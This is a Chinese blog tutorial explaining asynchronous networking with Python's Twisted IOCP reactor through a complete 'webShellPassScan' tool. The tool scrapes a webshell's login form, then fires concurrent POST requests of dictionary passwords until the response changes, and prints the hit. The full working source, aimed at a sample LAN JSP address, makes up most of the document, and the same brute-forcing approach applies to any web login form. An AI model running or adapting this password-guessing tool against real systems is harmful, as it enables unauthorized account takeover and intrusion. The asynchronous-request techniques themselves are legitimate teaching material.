好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。
iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。
同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。
异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。
具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术
1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser
2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下
cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req = urllib2.Request(url, urllib.urlencode(bodyfieleds)) resp = opener.open(req, timeout=60) strlist = resp.read()
代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典
3.异步的页面请求,这里用了twisted的getpage片段如下:
self.PostDATA[self.passw] = passl #print temp zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers) zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)
可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)
以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass
4.协程并发,代码如下:
def InitTask(self): for passl in self.passlist[:]: d = self.addURL(passl) yield d def DoTask(self): deferreds = [] coop = task.Cooperator() work = self.InitTask() for i in xrange(self.ThreadNum): d = coop.coiterate(work) deferreds.append(d) dl = defer.DeferredList(deferreds)
就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个
# -*- coding: utf-8 -*- #coding=utf-8 # # # code by icefish # http://insight-labs.org/ # http://wcf1987.iteye.com/ # from twisted.internet import iocpreactor iocpreactor.install() from twisted.web.client import getPage from twisted.internet import defer, task from twisted.internet import reactor import os from httplib import HTTPConnection import urllib import urllib2 import sys import cookielib import time import threading from Queue import LifoQueue #import httplib2 from sgmllib import SGMLParser import os from httplib import HTTPConnection import urllib import urllib2 import sys import cookielib import time import threading from Queue import LifoQueue from sgmllib import SGMLParser class URLLister(SGMLParser): def __init__(self): SGMLParser.__init__(self) self.input = {} def start_input(self, attrs): #print attrs for k, v in attrs: if k == 'type': type = v if k == 'name': name = v if k == 'value': value = v if type == 'hidden' and value != None: self.input[name] = value if type == 'password' : self.input['icekey'] = name class webShellPassScan(object): def __init__(self, url, dict): self.url = url self.ThreadNum = 10 self.dict = dict def getInput(self, url): html, c = self.PostUrl(url, '') parse = URLLister() parse.feed(html) return parse.input def PostUrl(self, url, bodyfieleds): try: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req = urllib2.Request(url, urllib.urlencode(bodyfieleds)) resp = opener.open(req, timeout=60) strlist = resp.read() cookies = [] for c in cj: cookies.append(c.name + '=' + c.value) return strlist, cookies except : return '' def parse_page(self, data, url, passk): #print url self.TestNum = self.TestNum + 1 if data != self.sret and len(data) != 0 and data != 'iceerror': self.timeEnd = time.time() print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd)) print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's' print 'total Scan Passwords:' + str(self.TestNum) print "*************************the key pass***************************\n" print passk print "*************************the key pass***************************\n" reactor.stop() if self.TestNum % 1000 == 0: #print TestNum sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n') sys.stdout.flush() def fetch_error(self, error, url, passl): self.addURL(passl) def run(self): self.timeStart = 0 self.timeEnd = 0 self.TestNum = 0 self.sret = '' print '\n\ndetect the WebShell URL:' + self.url self.PassNum = 0 self.timeStart = time.time() print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart)) filepath = os.path.abspath(os.curdir) file = open(filepath + "\\" + self.dict) self.passlist = [] for lines in file: self.passlist.append(lines.strip()) #print lines.strip() file.close() PassNum = len(self.passlist) print 'get passwords num:' + str(PassNum) inputdic = self.getInput(self.url) self.passw = inputdic['icekey'] del inputdic['icekey'] self.PostDATA = dict({self.passw:'icekey'}, **inputdic) self.sret, cookies = self.PostUrl(self.url, self.PostDATA) self.headers = {'Content-Type':'application/x-www-form-urlencoded'} self.headers['cookies'] = cookies print 'cookies:' + str(cookies) self.DoTask() #self.DoTask2() #self.DoTask3() print 'start run' self.key = 'start' reactor.run() def InitTask(self): for passl in self.passlist[:]: d = self.addURL(passl) yield d def InitTask2(self): for passl in self.passlist[:]: d = self.sem.run(self.addURL, passl) self.deferreds.append(d) def InitTask3(self): for passl in self.passlist[:]: d = self.addURL(passl) self.deferreds.append(d) def DoTask(self): deferreds = [] coop = task.Cooperator() work = self.InitTask() for i in xrange(self.ThreadNum): d = coop.coiterate(work) deferreds.append(d) dl = defer.DeferredList(deferreds) #dl.addErrback(self.errorCall) #dl.addCallback(self.finish) def DoTask2(self): self.deferreds = [] self.sem = defer.DeferredSemaphore(self.ThreadNum) self.InitTask2() dl = defer.DeferredList(self.deferreds) def DoTask3(self): self.deferreds = [] self.InitTask3() dl = defer.DeferredList(self.deferreds) def addURL(self, passl): self.PostDATA[self.passw] = passl #print temp zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers) zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) return zs a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt') a.run()
利用Python的Twisted框架实现webshell密码扫描器的教程
- Author -
wcf1987声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。
Reply on: @reply_date@
@reply_contents@